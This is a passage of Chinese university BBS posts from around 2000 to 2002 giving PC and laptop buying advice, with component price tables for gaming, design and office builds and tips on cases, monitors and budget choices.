52M。这款键盘是标 准键盘中的精品，无论是键体表面的感觉，键盘的分量，还是键身的弹性都无可挑剔。 这么好的键盘，才110元左右的价格，实在是不能错过。而作为预算比较充分的朋友，自 然要追求一种不同凡响的感觉，常规的键盘也许不能满足你的需要，形形色色的人体工 程学键盘当然是首选，而且有些键盘上还增加了网络功能等快捷键。还有更酷的就是无 线键盘了。这个档次的键盘各有特色，还是您自己到市场里找合乎心意的吧，价格基本 都在300元以上。 鼠标： 双飞燕4D，这款鼠标是按照人体工程学设计的，样子看上去不规则，但是右手拿上 去刚好合乎手形。而且双飞燕鼠标定位精确，4D型所带的两个滚轮还为上网提供了方便 。罗技的鼠标大名鼎鼎，质量也的确不同凡响，但是价格太贵，怎么办？其实我们完全 可以选择联想的网络鼠标，他根本就是罗技的旋貂嘛。唯一的差别就是印在鼠标上的商 标了。而价格却只有旋貂的一半。对于高端来说，罗技的银貂是首选，不但合乎手型， 还有更多的功能建，不过价格当然也不菲哟。还有无线鼠标的自由自在的感觉也很吸引 人，价格都在300元以上。 机箱： 普通型的ATX机箱，价格在200-300元之间，这个档次的机箱非常多，比较有名的型 号是爱国者3101了，220元，附带250W的长城电源，质量不错。在300-500元之间的这个 档次上，银河的H系列机箱非常值得推荐，外形朴素大方，内部结构也十分合理，所有的 边沿全部都做过打磨处理，完全不用担心装机时手被划破，而且钢板材料也十分实在。 ST的世纪之星系列实在是机箱中的精品。外形大方，内部结构好，宽敞的箱体利于散热 ，内置的300W优质电源更是满足了喜欢多硬盘多外设的朋友。价格大概在650元左右。 软驱： 1.44M的软驱目前面临淘汰的边缘，各种品牌的价格差异不到20元，质量上也没有明 显的差异。所以在三星，NEC，SONY，美上美等品牌中随意挑选一款就是了。 光驱： 目前40速光驱已经成为主流，40速以下的光驱已经很难找了。低速的廉价光驱市场 上比较常见的就是LEO的32X，不到300元的价格。质量比较稳定，读盘也不错，而且说实 话32X和40X在实际使用中的速度几乎没有差异。40X的主流光驱中，Acer的鳄鱼光驱一向 以读盘好，质量稳定而出名，它的滚珠轴承又大大增加了运行的稳定性和光驱寿命，价 格在410元左右。同时，ASUS，源兴也是很好的选择。高档机型当然要选择DVD了，价格 在750元左右。不过选择的时候要注意区码限制。 MODEM： 作为一般的上网应用，浏览网页，泡聊天室、上论坛灌水，下载一些小软件。现在 的PCI内置软猫的速度已经足够，因为现在的CPU购买起点都至少是300MHZ，软猫所占用 的一点点系统资源在使用中完全感觉不到。ECOM HSF使用的是ROCKWELL芯片，在升级2. 09版驱动程序以后速度和稳定性都十分不错。而价格只有200元左右。其他不错的产品还 有TP-LINK，金网霸等等，只不过买的时候注意选择ROCKWELL芯片的就是了。而外置猫因 为具备内置软猫所不具备的很多特殊功能而成为了高档配置的推荐，比如DIAMOND的速霸 ，他在不开电脑的情况下也完全可以作为一台留言电话使用。 　 二：性能模块配件 从目前DIY电脑的应用方向来看，大致可以分为3D游戏类，图像设计类，办公上网类 。。。。。。至于专业级别的图形制作所用的图形工作站，所涉及到的因素太多，这里 就不占用有限的篇幅详细讨论了。 下面按照用途来分别介绍 1．游戏类 　 低端 中端 高端 CPU Celeron 366 440 Celeron366 440 Pentium III 500 2250 主板 DFI CW35-D Slotek 65H64 950 850 升技BH6 GA-686BXC 800 850 SOYO-BA IV ABIT-BE6 1200 1000 显卡 主板集成 　 VoodooIII2000 联想，小影霸 800 GeForce256 丽台，小影霸 2100 声卡 Diamond S90 270 SB Live! Value 700 硬盘 IBM25GP 15.2G 1120 IBM25GP 15.2G 1120 ATA酷鱼20.4G 1550 内存 HY 64M 620 HY 64M 620 KingMax128M 1520 音箱 富士通FMV6590 100 漫步者R2.1T 350 漫步者R4.1T 460 总计 3130 4400 9780 在3D游戏的应用中，赛样系列毫无疑问是最具性能价格比的。由于出色的浮点性能 和巨大的超频潜力使得他成为了3D游戏的首选。Celeron300A可以超频到450，Celeron3 66也能超频到550。不过目前Celeron300A已经十分稀少，而且和Celeron366也几乎没有 差价了，所以起点就从Celeron366开始吧。3D游戏对于CPU的L2缓存容量要求不高，但是 对缓存速度却很敏感，在这种情况下，其实超频到100MHz外频的赛样完全可以与同频的 Pentium II相匹敌。不过Pentium III的SSE指令集已经被DirectX7支持，而且已经开始 有一些游戏推出了针对SSE的补丁，因此，Pentium III可以作为高端游戏的选择。AMD的 K6系列整数性能不凡，但是对于3D游戏至关重要的浮点性能却相形见绌了。Athlon K7终 于具有了全面超越Pentium III的整数和浮点性能，还有众多的游戏支持3DNOW。而且现 在和主板一起搭配销售的套装价格比Pentium III 500还要便宜，因此也是不错的选择。 810DC100是810系列中性能比较出色的一款，支持100MHZ外频，DMA66，内置I752显 卡和4M显示缓存。还有AC97声卡以及AMR软猫的支持。I752本身的3D性能不错，加上810 DC100还可以在这4M的基础上增加共享主内存做显示缓存。应付大多数游戏已经足够。对 于囊中羞涩而又喜欢游戏的朋友是不错的选择。这样的整合主板虽然无法和顶级的发烧 配置相比，但是比起同样价位的ZX主板加廉价3D显卡加杂牌声卡的效果可是要好多了， 而且还省去了各种令人头疼的兼容性问题。 对于要求稍高的朋友，经典的BX主板仍然是稳妥之选，升技BH6和技嘉BXC等一批曾 经辉煌的经典主板速度和稳定性都非常不错，目前价格也十分合理。而对于经济实力更 高的朋友，新近推出的一批新型BX主板如ABIT-BE6，SOYO-6BA+IV等有了更多得功能。支 持DMA66可以使得新型高速硬盘充分发挥功效，可以最大支持8个IDE设备，给今后的升级 留下了充分的空间。而且还具有了一些象调节L2 Cache速度等等令超频发烧友心动的功 能。VIA的Apollo系列芯片组的主板有着比Intel 440BX更优秀的性能指标，比如133的外 频支持，AGP4X等等，但是由于VIA一直是Intel的竞争对手，所以出现一些兼容性的问题 在所难免，虽然可以通过这样那样的方式解决，但是总是怪麻烦的。除非您自信是高手 ，从不惧怕这些可能出现的问题，否则还是用Intel的芯片组配Intel的CPU省心一些。 VoodooIII2000的价格已经只有800元不到了，其不凡的3D性能和出色的2D速度，加 上庞大的专为3DFX优化的游戏软件群，使其成为中端3D游戏的理所当然的选择。而且Vo odooIII2000还有很好的超频空间，可以轻松的超频到3000。虽然Voodoo III不支持32B IT色彩输出，但是你想想，在游戏中和人杀的天昏地暗的时候谁会有闲工夫抬头仔细看 看天空是不是真彩色的？GeForce256即出，TNT2就成了鸡肋。向下和VoodooIII相比没有 绝对的性能优势，价格却贵出不少。向上更新换代的GeForce256又已经推出了。GeForc e256是nRIVA最新推出显示芯片，因为他那不可思议的3D速度而被称为GPU（大有盖过CP U的势头）。加上并不离谱的价格，实在是令追求顶尖速度的游戏玩家们拍手称快。现在 ，丽台、创通和小影霸都已经推出了GeForce256的产品。G400也性能不凡，支持凸凹纹 理贴图，但是支持此特性的游戏目前只有屈指可数的几种，而且G400本身的定位就是高 端的桌面应用，在打游戏方面还是无法和TNT2，GeForce256这些“专业” 游戏卡相比的 。 对于目前的3D游戏，64M的内存是必须的，否则无法使得游戏流畅起来，如果能有1 28M的内存，就会完全消除因为内存造成的瓶颈效应。但是游戏毕竟是游戏，当内存从1 28M提升到256M之时，3D游戏的性能几乎没有提升。这说明128M得内存对于3D游戏来说已 经是足够了。 在3D游戏中，硬盘的速度对于游戏的流畅度影响不大，只是在Load&Save的时候稍有 差距。而现在的3D游戏一安装就几百MB，所以对于3D游戏的硬盘要求，则是尽可能的选 择容量价格比好的产品。IBM25GP系列中15.2G的型号只要1100左右的价格，容量价格比 实在不错，而且其单碟5.1G，5400RPM，GMR磁头使得他性能也不弱。而ATA酷鱼不但具有 很好的容量价格比，还有目前最快的数据传输速度，实在是高端游戏应用的绝佳选择。 对于经济紧张或者是声音要求不高的朋友来说，810内置的声卡的音质已经算是不错 了。而要求较高，追求3D音效的朋友，Diamond S90支持A3D声音定位，可以在两个音箱 上实现3D音效，也是性能价格比极高的选择。有了3D定位的声效，在QUAKE类游戏中被人 从身后偷袭的几率就大大降低了。如果喜欢能够有身临其境感觉的环境音效，您就要多 花一些RMB来购买SoundBlaster Live!Value了，既然选择了SoundBlaster Live!Value， PcWork4.1应该是绝佳的搭档，不过现在有了国产的漫步者R4.1T则可以在更低的价位上 提供同样的震撼感觉。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.101.16.19] 发信人: huxley (Roy), 信区: Hardware 标 题: DIY配置推荐（下） 发信站: 日月光华站 (Fri May 12 21:06:37 2000) , 转信 (www.itdoor.net 小秦) 2．网页制作和图像设计 　 低端 中端 高端 CPU PentiumII350 Pentium III450 Athlon K7-500 1300 2050 \ 2999 / 主板 GA-BXC SOYO-6BA-IV ASUS K7M 850 1200 ABIT-BH6 ABIT-BE6 800 1000 显卡 G200/8M ATI RAGE FURY G400MAX 550 1200 2300 硬盘 超级金钻二10.2G 金钻三代 13.6G 金钻三代20.4G 1150 1200 1750 内存 64M 128M 256M 620 1520 3040 声卡 YAMAHA724 YAMAHA724 主板集成 100 100 音箱 丽歌SD-116 富士通FMV6590 冲击波SAC246 60 100 160 总计 4580 7170 10500 在图像软件中，无论是3D还是2D，各级缓存都有着重要的作 用。网页的制作中更是有大量的3D和2D的图像交织在一起。因此对 CPU的整数和浮点性能都要求很高，CPU的起点配置至少应该是 PentiumII350。而目前PentiumIII的价格和PentiumII差距不是十 分悬殊，而且，PentiumIII内置有SSE指令集，有许多图像软件都 对这个指令集进行了优化，优化以后的处理速度大大增加。这些软 件中较包括大名鼎鼎的PhotoShop5.X。所以只要不是经济十分紧 张，Pentium III450应该是首选。和PentiumII，PentiumIII做搭 配的自然是BX主板，因为820主板尚不成熟，840也还不见踪迹。 Apollo的兼容性有让人不放心，尤其是在图像操作这种要求高稳定 性的情况下。因此，经典BX主板是很实惠的选择，而新型BX主板所 带来的DMA66支持等新功能对于中端用户来说还是物有所值得。 而对于高端用户，有一个好消息就是不用再依赖Intel了，AMD 在K7 Athlon上终于全面的超过了Intel。和K7搭配的是AMD自己的 750芯片组的主板。这款芯片组的主板如果搭配SCSI硬盘则会有出 色的表现，而它的IDE通道却不够完美。制约了K7强大的能量的发 挥。而ASUS公司凭借其不凡的设计能力，没有使用750的南桥芯 片，而改用VIA的VT82C686A做南桥，克服了这个弱点，使得K7的强 大性能在IDE硬盘上也可以得到充分的发挥。而且现在K7-500和 ASUS K7M主板搭配出售的套件只要2999元。价格竟然比PENTIUM III500+BX主板还要便宜。大众公司的SD11主板同样采用了VIA的 686A作南桥。同时，因为VIA686A芯片内建声卡，因此连声卡都不 用再单独购买了。 图像设计的机器，显示卡自然是重中之重。显示卡的图像质量 和速度都是十分重要的。MGA的G200显卡有着极其优越的2D速度和 画面质量，加上现在的价格十分低廉，如果对3D要求不高的话，是 具有很高性能价格比的选择。ATI RAGE128GL 同样具有很好的画面 品质，并且完全支持OPENGL，32M显存的FURY的价格才1200，也是 很好的选择。至于高端的图像设计，G400MAX是理所当然的选择， 最出色的图像质量，最快的3D速度，独特实用的双头设计可以让你 充分利用老机器的小显示器，加上超前的 凸纹理支持，使得他成 为了非专业显卡之王。高端的非专业图像设计，不选他选谁？ 图像处理软件的运行需要在硬盘上做大量的交互文件，因此， 高性能的硬盘是必须的，否则硬盘会无法承受高密度的读写操作而 成为整个系统的瓶颈。选择高性能硬盘主要可以从转速、单碟容 量、缓存容量和磁头寻道速度还有接口界面等几个方面考虑。 DMA66接口已经成为新型硬盘标准，而磁头寻道速度除了ATA酷鱼稍 快（7.6ms）以外，其他新型硬盘都没有大的差别（8.5ms-9ms）。 作为图像处理这样的高端应用，7200RPM也是必须的。单碟容量对 于硬盘的数据传输速度至关重要，第二代和第三代7200RPM硬盘的 最显著的差异也在单碟容量上。第二代7200RPM硬盘的单碟容量除 超级金钻二代稍大为5.1G外，其他基本为4.5G。第三代7200RPM硬 盘的单碟容量除ATA酷鱼稍大为7.1G外，其他都是6.8G。缓存对于 提高硬盘的性能也有很大的帮助，一方面是预读数据加快读速度， 另一方面是写缓冲减少CPU等待时间。因此对于频繁读写硬盘的图 像操作，2M的缓存是很有必要的。 超级金钻二代硬盘具有2M的缓存和5.1G的单蝶容量和7200RPM 的转速，是第二代7200RPM的硬盘中性能最为出色的，再加上合理 的价格，成为了性价比很高的选择。IBM34GXP和金钻三代是第三代 7200RPM的硬盘，不但有2M的缓存，单碟容量也增加到了6.8G。是 目前最优秀的IDE硬盘。IBM34GXP在WINDOWS98，FAT32的环境下性 能最佳，而金钻三则在NT4，NFST的环境下性能最佳。考虑到高端 图像设计多在NT环境下进行，因此金钻三代更值得推荐。 对于图像设计软件来说，内存的需求是永无止境的。所以有多 少钱就买多少内存吧。 图像设计用的电脑，声音就不再重要，因此声卡和音箱的选择 就比较随意，只要音质好，便宜就行。YAMAHA724配普通的木制音 箱就足够了！ 3．办公上网类 　 低端 中端 高端 CPU Cyrix MII333 AMD K6-2/400 AMD K6-III/400 220 390 960 主板 麒麟 M571 建邦MVP4 盘英MVP4A 400 700 750 显卡 声卡 主板集成 主板集成 主板集成 硬盘 钻七6.5G IBM 34GXP 13.6G IBM 34GXP 20G 800 1250 1720 内存 64MPC66 64M PC100 128M 500 620 1400 音箱 丽歌SD-116 富士通FMV6590 冲击波SAC246 60 100 160 总计 1980 3060 4990 办公上网类的机器，则是以整数运算为主，因此也对各级缓存 的容量比较敏感。而对浮点运算没有太高的要求，声音和图像也不 是主要的目的。因此物美价廉的Cyrix MII和AMD K6系列CPU加整合 主板的组合便成为首选。 Cyrix MII/333在单任务情况下的整数运算性能直逼 PentiumII350，Windows98和Office类软件的运行速度奇快，而价 格却只有200多元，配合上麒麟（Pcchips）M571整合型主板，连 CPU、主板带显卡声卡全部加起来才600多元，实在是办公室里的超 值组合。不过Cyrix MII系列的一个致命弱点就是它的多任务处理 能力。只要有2、3个程序同时运行，速度便会立刻大幅度下降。如 果你想在使用Word的时候同时打开Excel调用数据，或者同时开着 4、5个IE窗口，那么速度就会让人难以接受。在用Winamp放MP3音 乐的时候如果启动其他程序，也会听到声音发生了中断。所以，这 个组合只适合用于做单纯的办公用机，拿来给财务的大妈们做报 表，一点也用不着心疼。(^_*) K6-2 CPU的整数性能仍然优于同频的PII，而且多任务处理能 力也丝毫不弱。对于办公应用绰绰有余。完全可以同时开启若干个 应用程序，后台播放MP3音乐。如果资金充足，K6-III则是办公应 用之王了，内置的256K L2 cache和独特的三级缓存技术使得 K6-III的商业应用性能超过了同频的PentiumIII。而价格却只有一 半左右。 和K6系列搭配的最佳搭档就是Mvp4了，Mvp4主板整合芯片组内 置9880显卡，和AC97标准的PCI声卡，还有AMR软猫的支持。同时支 持DMA66。9880显卡不但处理商用2D图像性能颇佳，而且有空的时 候玩玩简单的3D游戏也有不错的效果。再加上总共700元的价格， 对于注重成本计算的商业应用来说，还有比他更合适的吗？ 在商业用的系统中，系统整体性能的瓶颈往往出现在硬盘上， 因为在Office这类软件中内存和硬盘之间的数据交换十分频繁，因 此硬盘的缓存容量便十分重要。所以三款硬盘都推荐了2M缓存容量 的。钻石七代是5400RPM硬盘中的佼佼者， IBM34GXP则有7200RPM 的转速和6.8G的单蝶容量，是目前性能最高的IDE硬盘之一，考虑 到商务应用的环境多为WINDOWS98，FAT32，因此，IBM34GXP比具 有同样性能指标的金钻三更值得推荐。 对于目前的商业应用，64M的内存配置是最基本的，如果条件 好，加到128M则会在很大程度上提高性能。 　 三．显示器 TFT显示器目前仍然价格不菲，市场主流仍然是CRT显示器。目 前主要有三种类型的显像管。 一种最常见的是点状不 且 罩板（即平常所说的球面管），这 种显示器可以生成清晰的斜线，适合做文本显示用，而且价格低 廉。办公应用应该首选这种显示器。现在17寸的球面管的显示器价 格已经降到了2000元左右，因此，除非是实在经济紧张或者是桌面 空间不够，否则，17寸应该是首选。 另一种是栅格式荫栅板（即通常说的柱面管）主要是特丽珑和 钻石珑两种。这种显示器色彩的饱和度、对比度都十分出色，长时 间工作时眼睛的舒适程度也比球面管好，适合于做图像处理。因此 图像处理用的机型应该首先考虑柱面管。而游戏用的机器主要也是 做图像显示，不过对图像的精确度却没有太高的要求，因此配备球 面管还是柱面管完全由您的爱好和经济条件决定了。 还有一种新型的是沟槽式荫罩板（LG未来窗纯平）这种显示器 从理论上来说应该是集中了上述两种显像管的优点，而实际上因为 技术还不十分成熟，却是在文字方面不如球面管，在图像色彩方面 不如柱面管，所以选购这类显示器还要慎重。 至于目前刚刚开始流行的纯平显示器，我的建议还是观望为 好。毕竟这项技术还不十分成熟。据个例子来说，目前几乎所有的 纯平显示器的图像看上去都有一些内凹。目前绝大多数解释都说是 由于我们看惯了凸面的图像而造成的错觉，其实这个解释并不完全 正确。TFT显示器也是真正的纯平，为什么图像看上去不内凹呢？ 说到底纯平显示器的图像内凹还是因为平面玻璃的折射现象造成 的，而目前市面上LG纯平显示器对这个折射因素没有做补偿。而新 近推出的“平面珑”就做了适当的补偿使得内凹的感觉被减轻。不 过由于刚刚推出，所以平面珑的显示器目前价格仍然居高不下。 　 低端 中端 高端 文字类 Envision15 Acer57C Acer77E 1050 1450 2300 图像类 Mag500T Acer79G Sony E200 1990 3800 4400 1000-1200之间的廉价型15寸显示器中有EMC，AOC，AIC等众 多的品牌，Envision15价格低廉，而质量良好，可以在1024×768 的分辨率下达到75Hz的刷新率。1500左右的中档显示器中，三星 550，飞利浦105A，都具有良好的性能价格比，Acer57c带宽高达 110MHz，被称为爱视型彩显。Acer77e同样具有很高的带宽和良好 的质量。17寸的尺寸对于文字处理来说可是非常舒服了。 MAG500t是目前价格最低的特丽珑显像管的显示器了，只要不 是十分挑剔，1990的价格绝对让你觉得物有所值。其他2000元以下 的15寸特丽珑显示器还有CTX PR500，SONY15ES2的价格也差不 多。Acer79g是采用钻石珑显像管的产品，自从推出以后，在国际 上频频获奖，可以满足最挑剔的制图需要。而喜欢特丽珑艳丽的色 彩的朋友，CTX PR700和MAG770T也是不错的选择。SONY E200和 AMG 796FD就是目前最为火爆的[平面珑显示器了。由于表面是纯 平，而内部又采用了补偿矫正，因此它们的画面近乎于完美，不过 SONY E200没有通过TCO99的认证，不能不说是一个小小的遗憾。 而未来窗作为家庭娱乐和玩游戏的高档显示器到是再合适不过 了，纯平的外表新潮漂亮，家用不会太在意细小的文本是否清晰， 也不会象图像专业人员一样挑剔色彩。而且未来窗的高达203MHz的 带宽对于3D眼镜的使用也是很有益处的。再就是因为它的价格毕竟 比平面珑的显示器便宜多了。 上面列出的几个模块的配置可以供购买机器的朋友自由组合。 2000年5月12日 -- -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiajv (白鸽), 信区: Hardware 标 题: 低端配置的四点建议 发信站: 日月光华 (2002年08月19日01:57:23 星期一), 站内信件 低端配置的四点建议 作者：顾 鸣 2002-08-16 11:28:32 ---------------------------------------------------------------------------- ---- 　随着电脑在生活中的应用日益广泛，许多朋友都有了购买电脑的打算，而在这其中有 许多人经济能力并不宽裕，因此希望能用尽可能少的钱来购买一台性能好的电脑。说实 话，电脑这东西，价格相差的确悬殊。笔者经常为人配置电脑，在设计配置方案时既做 过价格超过1.5万元的超豪华组合，也做过不足4000元的经济型配置。不过在笔者接触的 大多数人中，他们还是比较希望能够得到比较低价的“配置设计”。那么如何才能正确 地配置一台低价电脑呢？就我个人经验而言，总结了“两省两不省”的方法，以供大家 参考。 　　一省：明确使用的主要目的，在大件上做出取舍可省钱。因为受到“低价”的限制 ，因此在设计配置时不可能，也不应该像配置豪华型电脑那样无所顾忌地挑最好的，而 必须在几个价格比较高的部件上有所侧重地进行选择，做出取舍。比如，用户对硬盘的 容量需求比较大的话，则可在硬盘的转速上做出一些让步，选择5400转的硬盘；用户是 一位游戏发烧友的话，则可以给其配置一款高性能的显卡，而CPU选择一块Tualatin赛扬 的即可；如果P4和高性能显卡两者都不想放弃的，那么只有在存储上或者声音上来做取 舍了，音箱可以换成2.1声道的，估计也可以省下100多元。 　　二省：不迷恋奢侈品可省钱。既然定下了“低价”的总策略，那么一些奢侈品级的 部件就应毫不犹豫地将其排除在外。比如：液晶显示器、SB Live！声卡、4.1/5.1的音 箱、CD-RW等。虽说，这些都属好东东，但它们的身价也都不便宜，任何一件都可能让您 的预算超支。 　　所谓二不省是指以下两个方面： 　　一不省：键盘和鼠标的选择要认真，不要为省钱而马虎。许多人在配置低价电脑时 往往喜欢用一些低价的、杂牌的键盘和鼠标，以降低成本，其实这样做是一个误区。因 为对于大多数的用户来说，选择赛扬或者P4都能满足基本功能的使用（少数高端用户除 外，不过高端用户不会配置低价电脑的）。然而键盘和鼠标选择不当的话则会严重的影 响电脑的整体使用舒适度，严重的话还会影响到使用者的健康，比如长时间使用劣质的 鼠标的话可能会造成“鼠标手”（一种新的IT职业病）。而价格呢？P4换成赛扬大约可 以节省500元左右，一个名牌的鼠标换成一个杂牌的鼠标，节省80元我想是极限了吧！因 此，要省就从大处省，别在小处上斤斤计较，得不偿失。 　　二不省：机箱和电源上面不要省。给爱机一个安全美丽的家。许多的用户在选定了 CPU、显卡、硬盘等主要部件后，往往对机箱的选购不太在意，在低价电脑的配置中，为 了省钱随随便便地挑了一个便宜的。其实这也是不应该的。就同鼠标、键盘一样，其实 在挑选机箱和电源上也是省不了多少钱的，而省下的这些钱造成的不良后果却要大得多 。 　　首先，机箱内电源的优劣直接影响到计算机运行的稳定性。现在计算机上的部件已 越来越多，个个都是耗电“能手”，如果这些配件的用电量超过电源的额定值的话，那 么便会发生死机等一些故障，甚至损坏硬盘等部件。面对死机有人认为是CPU或者是内存 的原因，其实许多死机都是因电源的质量差导致的。 　　还有就是机箱的钢板的质量影响到计算机辐射的屏蔽性。辐射的危害众所周知，计 算机会产生辐射也是不争的事实。但计算机的大部分辐射能够被机箱屏蔽掉的。如果是 一台优质机箱的话，辐射的95%以上都会被屏蔽掉，这时的辐射几乎不会对人体造成影响 。但一台劣质的机箱则不能屏蔽掉如此多的辐射，后果便可想而知了。千万不要为了省 几个钱与你的健康开玩笑。 　　机箱的外观是整台计算机的面子。现代家庭中计算机应与整个家庭氛围融为一体， 一台漂亮、新颖的机箱能使你的居室增色不少。 　　以上一些建议，希望能给要想配置一台“低价电脑”的朋友一些帮助。 -- 我会擦去我不小心 滴下的泪水 还会装作一切都无所谓 ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.83.35.21] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: alienyu (绯色之剑), 信区: Hardware 标 题: 笔记本选购须知及购买技巧 发信站: 日月光华站 (Tue May 23 18:08:11 2000) , 转信 本文作者：苏旅 1 、制造结构的取舍： 不少人在选购笔记本电脑时就有一个很难以取舍的矛盾，到底是追求全内置功能呢 ，还是追求超便携的轻便效果呢？全内置的机器是把电脑所有的配置都集中固定在主机 上，虽然功能强大完善，但其整体重量却不轻，不少产品都在3KG以上，其厚度也多在4 CM左右。而超便携的产品把一些可以外置的设备如软驱光驱全外置或二选一外置，这样 的话就大大减轻的重量，但其使用功能就受到了一定的限制。 笔者认为，笔记本最大的特点就是其移动办公的特性，因此在选购时最好着重考虑 那些重量轻体积小的便携式笔记本电脑，超便携的笔记本产品多采用基座分离式或模块 结构式设计，大多把软驱光驱设备外置，有的还是目前流行的铝镁合金结构设计，这对 于一些常需要携带笔记本办公的人士及不少力气小的女士来说是很有用处的。但要注意 的是，目前一些超便携笔记本产品由于片面其追求重量的轻便和小巧，把一些必要的功 能省去，如机器散热设备和必要的双PCMCIA插槽扩充设备等，虽然重量减轻了，但对机 器的稳定性能及将来的升级扩充都有一定的影响，因而在选购时一定要注意这一点。 而全内置的笔记本虽然重量及体积大了一点，但也并无不可取之处。对于需要常进 行多媒体演示及频繁数据交换的人来说，功能强大技术完善的全内置笔记本可能更加适 合他们。并且有的全内置产品同样采用了铝镁合金技术，也减轻了自身重量，不过相对 于超便携的产品还是要重一些。因而在对于两种不同结构体系的产品进行选购时，一定 要注意结合自身需要进行选购，不盲目追求产品的某一性能特点，做到实用好用就可以 了。 2 、硬件体系的选择： 由于笔记本产品的硬件组装权力在生产厂商，消费者对于笔记本电脑产品不能随便D IY，所以在选购时也不可能完全遇到各方面都完全适合自己需要的产品，因而对于下面 的硬件介绍，只须做到抓住重点，按需选购即可，大可不必力求完美无缺，不过也要注 意做到细心查看，避免瓶颈等缺陷的发生。 CPU、主板及内存： 目前市面上销售的笔记本最新CPU产品当推Intel Pentium III系列，其频率多在45 0MHZ到700MHZ之间，与PII系列相比，PIII拥有全新的SSE指令集和100MHZ的前端总线技 术，它采用了256KB全速L2 Cache设计，支持新型的Geyserville能源管理技术和更加先 进的uPGA2、BGA2封装方式，是高端用户的首选。PII则是目前的主流产品，其频率从30 0MHZ到400MHZ不等，是主流用户的选择。而赛扬则是目前最新的廉价产品，频率从300M HZ到500MHZ不等，其性能与PII类似，但价格相差甚远，是追求性能价格比用户的选择。 其他如支持3D Now!的AMD K6-2及K6-III性能也还不错，特别是后者还支持256KB的片内 L2 Cache，进一步提高了机器的整体性能。目前选择CPU产品应该从366MHZ开始起步。 笔记本产品一般多采用专用的Mobile处理器，拥有1.5V以下的核心电压，其功耗极 低。但值得注意的是，目前有一些厂商为了节省成本，采用台式机的CPU，如2V电压的S ocket 370赛扬系列，因此其工作温度高了不少，如果没有有效的散热设备，还会有可能 引起系统的不稳定情况。因此在选购笔记本时一定要注意所购笔记本的CPU产品是否为专 用的Mobile处理器。 主板是笔记本电脑中的核心硬件，上面集成了包括CPU、内存、显示芯片、音频芯片 等硬件模块，因此主板质量的好坏也决定了笔记本电脑的好坏，因此在选购笔记本时一 定要注意主板产品的质量，最好得到三年以上的售后服务承诺。主板芯片组大多有Inte l BX、MX、ALI M5229、ALADDIN V系列等。BX系列为Intel主力芯片组，多用于PII、PI II处理器，而MX为BX的简化版，多用于赛扬处理器。ALI M5299为Intel BX兼容芯片，同 样提供了AGP加速功能和100MHz前端总线技术，而ALADDIN V则是用于AMD K6-2、K6-III 系列的产品，支持95MHZ的前端总线技术等。四种主要芯片组产品各有特色，选购时一定 要了解清楚。 内存产品大多固化在主板上，不过大多数笔记本产品也能通过主板上面的内存扩展 槽来进行升级。一般来说，主板上面的内存插槽有一定的容量限制，有的主板可最大扩 展到512MB，而有的只能到96MB。内存主要有EDO RAM和SDRAM之分，而SDRAM又分为支持 66MHZ总线频率的和100MHZ总线频率的产品。因此选购时一定要注意，内存选购建议32M B为基础，而64MB应该是主流配置。 显示及多媒体设备： 在如今的笔记本电脑中，带有3D加速功能的显示芯片正越来越受到人们的青睐，如 ATI的RAGE LT Pro和Mobility 128、S3 Savage/MX系列是目前笔记本显示芯片中最强大 的产品，是高端用户的选择，而如NeoMagic公司的MagicMedia 256AV、Trident公司的C yber 9397DVD、S3公司的Virge/MX等则是主流用户的选择，而象NeoMagic MagicMedia 128、Trident Cyber 9388等前代产品在目前不少的笔记本电脑中也有存在，选购时注意 了解一下。 选购显示芯片时还要注意一下产品是否支持AGP 2X模式，一般来说，AGP 2X模式的 产品适合于高速数据传输，适合高端用户使用。而其他的如AGP 1X和PCI接口产品则是目 前的主流产品。在显存方面，目前高端产品多采用4MB甚至8MB以上的显存，有的只提供 2MB到4MB的容量。对于目前主流的笔记本电脑用户来说，建议选购的显示芯片显存容量 不低于2MB，这样才能保证在800X600的分辨率下提供真彩显示的效果。 由于笔记本产品具有轻便小巧的特性，因此笔记本产品均采用液晶显示屏技术设计 。目前的笔记本显示屏主要分为DSTN及TFT两种，DSTN(Dual Scan Tortuosity Nomogra ph：双扫描扭曲相列）液晶显示屏是早期的显示屏产品之一，这种液晶显示屏结构简单 、价格低廉，但屏幕反应慢、可视角度小、色彩欠丰富而且对比度和亮度较差，因而也 多被称为伪彩显示屏。TFT(Thin Film Transistor：薄膜晶体管）是一种新型的显示屏 技术，它利用液晶显示屏上的每一液晶象素点后面的薄膜晶体管来驱动显示屏。相对于 DSTN显示屏来说，TFT-LCD屏幕反应速度快、可视角度大、色彩丰富多彩而且对比度和亮 度都较高、因此是目前笔记本液晶显示屏的主流设备。选购时建议直接选择采用TFT技术 的液晶显示屏产品。液晶显示屏的大小从12.1到14.2寸均有不等，也有采用12.1寸以下 的便携迷你产品及14.2寸以上的超大可视范围的产品。对于目前的主流用户来说，12.1 寸（可视面积：800X600）的产品性能价格比最佳，如果不注重价格的话，13.3及14.2寸 （可视面积：1024X768）的产品也是很好的选择，不过随着笔记本显示屏面积的增加， 笔记本的重量也会相应增加，对重量敏感的用户需要注意一下。 音频芯片及音响： 音频芯片是笔记本多媒体配置中不可缺少的一部分。不同的用户在选择音频芯片时 应注意其性能特点。对于已安装DVD光驱的用户来说，选择音频芯片时应注意是否能够支 持DVD数字AC3 5-1输出技术，有没有专用接口。而对于一般主流用户来说，选择PCI总线 接口的音频芯片能更好的对音频处理进行加速。其他方面，应注意音频接口是否齐全， 有无MIC接口和耳机接口。最后，如果需要有良好的MIDI回放效果，则需要注意所选产品 能否支持波表技术。目前市面上的主流声卡芯片有ESS 1968、ESS 1978、Crystal Soun dFusion等。 而笔记本的音响的选择就比较随意了，如果没有特殊需要，大可不必刻意追求高性 能。COMPAQ公司的Presario系列产品提供了著名的JBL Pro音响，IBM的部分ThinkPad系 列产品还内置了著名的Altec Lansing公司的SoundGuide立体声扬声器，其声音输出效果 也很不错。需要多媒体服务的用户可以考虑。 硬盘及其他驱动器： 笔记本硬盘的选择主要体现在容量上面，目前笔记本硬盘容量多在3.2G到10G左右， 个别的高端产品还有10G以上的容量。选购时应以4G为基础，6G到8G一般为主流选择。关 于笔记本转速方面，目前主流笔记本硬盘多以4200RPM为主，某些新型产品采用了更快的 4900RPM甚至5400RPM的硬盘，在CACHE容量方面，目前主流产品均为512KB，选购时也应 